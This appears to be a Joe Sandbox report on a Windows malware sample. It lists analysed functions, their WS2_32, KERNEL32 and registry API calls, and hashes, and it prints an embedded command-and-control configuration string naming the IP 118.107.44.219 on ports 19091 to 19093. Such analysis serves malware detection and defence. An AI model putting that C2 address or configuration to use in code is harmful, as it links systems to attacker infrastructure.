_memmove.LIBCMT ref: 02C63495

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Time_memmovetime
String ID:
API String ID: 1463837790-0
Opcode ID: 964d5c23b93ad1fd88f8810c494dbfeff016007414801962d54d6f63d524a06a
Instruction ID: b1a2d83b4ae198b5b19ef9d519d94a52e9db274f8616415e5d935c0489c00e50
Opcode Fuzzy Hash: 964d5c23b93ad1fd88f8810c494dbfeff016007414801962d54d6f63d524a06a
Instruction Fuzzy Hash: 4A5191727002419FD715CF69C8C8A7AFBA6BF8471471886A8D91ADBB04DB31E951CB90

Function 03772FD0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 03773043
recv.WS2_32(?,?,00040000,00000000), ref: 03773064

Part of subcall function 0377F91B: __getptd_noexit.LIBCMT ref: 0377F91B

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: 35d027ef3d27a7907c87b1f59581c5c40052ffe9d4584c391ed9cc9d0efc4a60
Instruction ID: fce64530ebef643d6e26da25074edaa3b3b6920b653cc86c5633dec739d96ff7
Opcode Fuzzy Hash: 35d027ef3d27a7907c87b1f59581c5c40052ffe9d4584c391ed9cc9d0efc4a60
Instruction Fuzzy Hash: CC21807960030CDFEF20EF69DC88B9A77A5EF05310F1845A5E5489F290D7B0A985DBE1

Function 02C62FB0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 02C63023
recv.WS2_32(?,?,00040000,00000000), ref: 02C63044

Part of subcall function 02C6710D: __getptd_noexit.LIBCMT ref: 02C6710D

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: d6b93dca6c29d064242a30314b8d76a902a3e8752dfc7911044515842cd16b5e
Instruction ID: 941b35982562b007a0720e20197fe37e33bc6ec8d387d2e27fc0bb2aed31c0d6
Opcode Fuzzy Hash: d6b93dca6c29d064242a30314b8d76a902a3e8752dfc7911044515842cd16b5e
Instruction Fuzzy Hash: DE219470A00248DBDB209F68DCCCBBA7775EF45B14F2005E5E5056B190DB70AA88CFA1

Function 03773260 Relevance: 3.1, APIs: 2, Instructions: 60networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00040000,00000000), ref: 03773291
send.WS2_32(?,?,?,00000000), ref: 037732CE

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 37255dec2a52a9bbe305b23dda70a38d4b2faf5dde60a8bf125d35fdc9d13d85
Instruction ID: 67d0d2c257361927988ca79cec8dccdd5bdbe8c4e79dde01ab48141354fefec7
Opcode Fuzzy Hash: 37255dec2a52a9bbe305b23dda70a38d4b2faf5dde60a8bf125d35fdc9d13d85
Instruction Fuzzy Hash: F311257AB01304B7EB20CA2ADC89B4AB799FB45260F144135E90CD7280D2319841A294

Function 037730E0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 0377310A
timeGetTime.WINMM ref: 03773124

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: 6d055f9805eaabbe867f27ee9eacca435e3613f3668d224aef24466d6a48212c
Instruction ID: 78b7173f9dc8e912439b4cdd00b56f287b75264c07d1657f27e1a850fbc0e5ae
Opcode Fuzzy Hash: 6d055f9805eaabbe867f27ee9eacca435e3613f3668d224aef24466d6a48212c
Instruction Fuzzy Hash: 8C01F239200A0ABFEB11DF28C8C8B69F7B9FB99301F184265D1048B680D735A9C6D7D1

Function 02C630C0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 02C630EA
timeGetTime.WINMM ref: 02C63104

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: d082fb474ebb313fc72161d63944bdeb1d2865c20000a222dde212ebea33bff2
Instruction ID: 79be14d199ba0122bfe72a809659cda838c788076b6c421e60b9b7b1da716001
Opcode Fuzzy Hash: d082fb474ebb313fc72161d63944bdeb1d2865c20000a222dde212ebea33bff2
Instruction Fuzzy Hash: B901DF31A04246AFD710CF29D8C8BBDB3B9FB99745F1442A8D5008B2C0C771AADAC7E1

Function 0377CD00 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,0377E04E,00000000,03779800,?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 0377CD1B
_free.LIBCMT ref: 0377CD56

Part of subcall function 03771280: __CxxThrowException@8.LIBCMT ref: 03771290
Part of subcall function 03771280: DeleteCriticalSection.KERNEL32(00000000,0377D3E6,03796624,?,?,0377D3E6,?,?,?,?,03795A40,00000000), ref: 037712A1

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: 33091f0acf424e88166b912c5d2b713733a47861a4ff24006bc4b9e0a6362f71
Instruction ID: ce11d0cc9bf4041513ec6f380d7c1bd94e8ccc28b4f5eeadf086d8492a478306
Opcode Fuzzy Hash: 33091f0acf424e88166b912c5d2b713733a47861a4ff24006bc4b9e0a6362f71
Instruction Fuzzy Hash: 8D017AB0A00B449FC731DF6A9844A07FAE8BF98700B504A2ED2DACAA10D374A106CF55

Function 02C66410 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,?,00000000,02C65AF2), ref: 02C6642B
_free.LIBCMT ref: 02C66466

Part of subcall function 02C61280: __CxxThrowException@8.LIBCMT ref: 02C61290
Part of subcall function 02C61280: DeleteCriticalSection.KERNEL32(00000000,?,02C77E78), ref: 02C612A1

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: 69f10b178c29e316d30315dd41d96f4b440d41a5eba0ae3ab2624229b378e726
Instruction ID: 4645c120701d48d9bd9568b6ceca6560b7d0e2f4a88f3b5c50e18c8a04998a11
Opcode Fuzzy Hash: 69f10b178c29e316d30315dd41d96f4b440d41a5eba0ae3ab2624229b378e726
Instruction Fuzzy Hash: 36013EF0A00B409FD720DF6A9884A57FAF9FF98711B104A1ED6DAC7A10D374A145CF95

Function 0377E480 Relevance: 3.0, APIs: 2, Instructions: 21synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,0377DF10,00000000,00000000,00000000), ref: 0377E49B
WaitForSingleObject.KERNEL32(00000000,000000FF,?,03781168,?,?,?,?,?,?,03796298,0000000C,03781210,?), ref: 0377E4A9

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: 16af5033599bcb4c7f1846817a4579b82fc56260173746758418cbd1f9205ad0
Instruction ID: c09ab8913bb0f1e06356b0a0c1541686ab956174c40672b45f1bf2682ac5c3e9
Opcode Fuzzy Hash: 16af5033599bcb4c7f1846817a4579b82fc56260173746758418cbd1f9205ad0
Instruction Fuzzy Hash: 6BE05BB054420DBFEF10FB54AC84E3673DCD704330B118757F920D2289D539D851C6A0

Function 0377F983 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0377F98F

Part of subcall function 03783E5B: __getptd_noexit.LIBCMT ref: 03783E5E
Part of subcall function 03783E5B: __amsg_exit.LIBCMT ref: 03783E6B

Part of subcall function 0377F964: __getptd_noexit.LIBCMT ref: 0377F969
Part of subcall function 0377F964: __freeptd.LIBCMT ref: 0377F973
Part of subcall function 0377F964: ExitThread.KERNEL32 ref: 0377F97C

__XcptFilter.LIBCMT ref: 0377F9B0

Part of subcall function 0378418F: __getptd_noexit.LIBCMT ref: 03784195

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: 9ba81a701cce433db93d3201aaa6458b7feb1eefe09dcbeb2de600b9bf0ba812
Instruction ID: e6c255c04c2e00166e273bee50597d4f1647cf6036632954b7c99c94a280edba
Opcode Fuzzy Hash: 9ba81a701cce433db93d3201aaa6458b7feb1eefe09dcbeb2de600b9bf0ba812
Instruction Fuzzy Hash: ADE0ECB9944701EFEB18FBA5D909E7D7775AF44B11F200249E101AF2A1CB799940DB21

Function 02C67175 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02C67181

Part of subcall function 02C6990F: __getptd_noexit.LIBCMT ref: 02C69912
Part of subcall function 02C6990F: __amsg_exit.LIBCMT ref: 02C6991F

Part of subcall function 02C67156: __getptd_noexit.LIBCMT ref: 02C6715B
Part of subcall function 02C67156: __freeptd.LIBCMT ref: 02C67165
Part of subcall function 02C67156: ExitThread.KERNEL32 ref: 02C6716E

__XcptFilter.LIBCMT ref: 02C671A2

Part of subcall function 02C69C41: __getptd_noexit.LIBCMT ref: 02C69C47

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: d93decb55ab0ab3670bfeb01bdb2bc244de8e06d7b72f3416f03d9b24b16aa35
Instruction ID: 61291a28bc03332b9270f62ca6dddde4bf8b7b0f5b059ef5c5ac7fb4f3d83525
Opcode Fuzzy Hash: d93decb55ab0ab3670bfeb01bdb2bc244de8e06d7b72f3416f03d9b24b16aa35
Instruction Fuzzy Hash: EFE0ECB1900604AFE708ABA0C989E7D7776EF04705F204059E1025B2A1DA75A944FF24

Function 03786403 Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0378641B

Part of subcall function 03788E5B: __mtinitlocknum.LIBCMT ref: 03788E71
Part of subcall function 03788E5B: __amsg_exit.LIBCMT ref: 03788E7D
Part of subcall function 03788E5B: EnterCriticalSection.KERNEL32(00000000,00000000,?,03783F06,0000000D,03796340,00000008,03783FFF,00000000,?,037810F0,00000000,03796278,00000008,03781155,?), ref: 03788E85

__tzset_nolock.LIBCMT ref: 0378642C

Part of subcall function 03785D22: __lock.LIBCMT ref: 03785D44
Part of subcall function 03785D22: ____lc_codepage_func.LIBCMT ref: 03785D8B
Part of subcall function 03785D22: __getenv_helper_nolock.LIBCMT ref: 03785DAD
Part of subcall function 03785D22: _free.LIBCMT ref: 03785DE4
Part of subcall function 03785D22: _strlen.LIBCMT ref: 03785DEB
Part of subcall function 03785D22: __malloc_crt.LIBCMT ref: 03785DF2
Part of subcall function 03785D22: _strlen.LIBCMT ref: 03785E08
Part of subcall function 03785D22: _strcpy_s.LIBCMT ref: 03785E16
Part of subcall function 03785D22: __invoke_watson.LIBCMT ref: 03785E2B
Part of subcall function 03785D22: _free.LIBCMT ref: 03785E3A

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: __lock_free_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__invoke_watson__malloc_crt__mtinitlocknum__tzset_nolock_strcpy_s
String ID:
API String ID: 1828324828-0
Opcode ID: ff007393626b9c7e30bf2768d0c731eac790686368c15427f3ddc110ff803dc2
Instruction ID: 5062776c0552e838523e6a64df50309f87d340ba2a8723a7e78542d60bc6959c
Opcode Fuzzy Hash: ff007393626b9c7e30bf2768d0c731eac790686368c15427f3ddc110ff803dc2
Instruction Fuzzy Hash: 60E0127D8C2B11E7CA26FBE1B64AB0CB2706BD8F35F90875AE65429484DA740241C663

Function 02C6474C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 12stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(|p1:118.107.44.219|o1:19091|t1:1|p2:118.107.44.219|o2:19092|t2:1|p3:118.107.44.219|o3:19093|t3:1|dd:1|cl:1|fz:), ref: 02C64755

Part of subcall function 02C63260: __wcsrev.LIBCMT ref: 02C80655

Strings

|p1:118.107.44.219|o1:19091|t1:1|p2:118.107.44.219|o2:19092|t2:1|p3:118.107.44.219|o3:19093|t3:1|dd:1|cl:1|fz:, xrefs: 02C64750

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: __wcsrevlstrlen
String ID: |p1:118.107.44.219|o1:19091|t1:1|p2:118.107.44.219|o2:19092|t2:1|p3:118.107.44.219|o3:19093|t3:1|dd:1|cl:1|fz:
API String ID: 4062721203-291094236
Opcode ID: 34d13ad8bcafab8ce877011e711ceb5f771b5f9e1a63b73d8a8a5f93b7c68d9d
Instruction ID: de45b46d7bb1ab293739d09cc163a8eda0f62893d8122cbf341fcb5404f13dad
Opcode Fuzzy Hash: 34d13ad8bcafab8ce877011e711ceb5f771b5f9e1a63b73d8a8a5f93b7c68d9d
Instruction Fuzzy Hash: 22C08CB2288208CFF70036D59088B3C33A8EB23F55F608435E905CA402DA52CC1097F1

Function 03776EBC Relevance: 3.0, APIs: 2, Instructions: 8registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(80000001,03776E9A), ref: 03776EC9
RegCloseKey.ADVAPI32(75BF73E0), ref: 03776ED2

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: b5dc0bcab768d16ce5b5672b08c2a893646653590d5112868453fc6c3adc27a9
Instruction ID: f7b32d8a34421b8490bd49734d4803b71b74bd77516c997c5841f274dcaf045e
Opcode Fuzzy Hash: b5dc0bcab768d16ce5b5672b08c2a893646653590d5112868453fc6c3adc27a9
Instruction Fuzzy Hash: 42C04C72D0102C67CA10F7A8ED4494977B85B4C110F1185C2A104A3118C634AD418F90

Function 02C6608A Relevance: 1.5, APIs: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32 ref: 02C660A0

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 06535327de1ca5998245ab8d7172d0ed8ce594706d877fad5d5c67ef1d90a131
Instruction ID: 57a44c445d0b198999ac25d0468117a3c52d6df824c46623fa712cffb4da4a33
Opcode Fuzzy Hash: 06535327de1ca5998245ab8d7172d0ed8ce594706d877fad5d5c67ef1d90a131
Instruction Fuzzy Hash: 82E0D874D08205EEDB14CB51D5C8BFD77B57B50744F60418DD4067B484D3782B08CAD5

Function 02C65E07 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32 ref: 02C7F0F9

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: bc9ecc6ca19783af6d6fbb40ca28845bcba02b8ce6e2273daa9cad6eb9c5806e
Instruction ID: 806db0ecaefa552d8a1fc379a59001298b3ac83a8110ea9151db669327c53a9c
Opcode Fuzzy Hash: bc9ecc6ca19783af6d6fbb40ca28845bcba02b8ce6e2273daa9cad6eb9c5806e
Instruction Fuzzy Hash: 07C08C24C4CB9CE9D42099231DCD178BAE04B54612F1004EFE90B36D80A0A52580D6EA

Function 02C64274 Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00006110,00000000), ref: 02C80693

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 446d9c4d64152f38f0cb9bce3d17ce7aa4d44a9082bc5af10959afb8066f576e
Instruction ID: 9017f776421c13bced35e10a1afcbbf2d0650d484897eb72a6dad65c08d12210
Opcode Fuzzy Hash: 446d9c4d64152f38f0cb9bce3d17ce7aa4d44a9082bc5af10959afb8066f576e
Instruction Fuzzy Hash: 6EC04828A8C225EAF53422532C8BB342A043B47B69F70872BF6236D8C259900098C6A3

Function 02C660DF Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02C7FAB1

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 79738dfc71dd6e283ce9795dfb8062d999699cb0a2e72741be05d8ced1d6796e
Instruction ID: 2c40027be3cb9e019c39bfcbb2d291982f5d220b23dfd900ebb3723602abb261
Opcode Fuzzy Hash: 79738dfc71dd6e283ce9795dfb8062d999699cb0a2e72741be05d8ced1d6796e
Instruction Fuzzy Hash: 7AD012B4204500C7D300AB51C5C472AB2E2BF44310F20C919C46EC3F10C638E841CA91

Function 02C7F63D Relevance: 1.5, APIs: 1, Instructions: 3networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 02C7F63D

Memory Dump Source

Source File: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 3a744b831a4dab7826d3086da32d44f2c1aa07f1b6fd09a0d56cc0f0eeb5603b
Instruction ID: 18f9841530cbc21c3024087780167970652b91d6ac102d567b1833b610b76a05
Opcode Fuzzy Hash: 3a744b831a4dab7826d3086da32d44f2c1aa07f1b6fd09a0d56cc0f0eeb5603b
Instruction Fuzzy Hash: 419002287C4141AB630009226888755265855146C334419189803C0810D61082549554

Function 02C65EB2 Relevance: 1.3, APIs: 1, Instructions: 15sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 02C65EB2

Part of subcall function 02C66F17: _malloc.LIBCMT ref: 02C66F31

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Sleep_malloc
String ID:
API String ID: 617756273-0
Opcode ID: a1015d62d96f2bb06a98dce862ee5ae3a9ce1ec7a1abcc17f512a50243bdca10
Instruction ID: 5263b21e11d0abfeb719e16d7f263ee4fdbb545174b79589bbca420ae604665c
Opcode Fuzzy Hash: a1015d62d96f2bb06a98dce862ee5ae3a9ce1ec7a1abcc17f512a50243bdca10
Instruction Fuzzy Hash: A8D022B2D042028FE7A07DA104C923EA0622780288FA4813DC60B82900D6760E08C7D3

Non-executed Functions

Function 0377E850 Relevance: 72.1, APIs: 36, Strings: 5, Instructions: 311stringfilesynchronizationCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0377E8A9
Sleep.KERNEL32(00000001,?,?,?,0377604D), ref: 0377E8B3
GetTickCount.KERNEL32 ref: 0377E8BF
GetTickCount.KERNEL32 ref: 0377E8D2
InterlockedExchange.KERNEL32(037A1F08,00000000), ref: 0377E8DA
